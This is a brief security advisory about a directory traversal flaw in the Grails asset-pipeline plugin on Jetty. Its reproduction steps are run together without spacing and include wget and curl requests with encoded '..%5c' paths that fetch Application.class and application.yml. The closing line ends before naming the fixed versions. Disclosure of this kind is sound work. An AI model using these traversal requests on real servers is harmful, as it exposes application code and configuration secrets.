[%author]
[%date]
Tags: #plugins
Asset-pipeline has been the default plugin for handling static assets in a Grails® web application since Grails 2.4.0. A security vulnerability that involves asset-pipeline and Jetty has been identified.
The vulnerability affects all asset-pipeline users that deploy Grails applications in Jetty, and it allows directory traversal and download any file knowing its specific directory.
grails create-app foobuild.gradle change the spring-boot-starter-tomcat to spring-boot-starter-jettygrails warwget localhost:8080/foo-0.1/assets/..%5c%5cfoo%5cApplication.class -O Application.classapplication.ymlexecute curl -v localhost:8080/foo-0.1/assets/..%5capplication.yml.The vulnerability has been addressed in recent versions of the asset-pipeline plugin: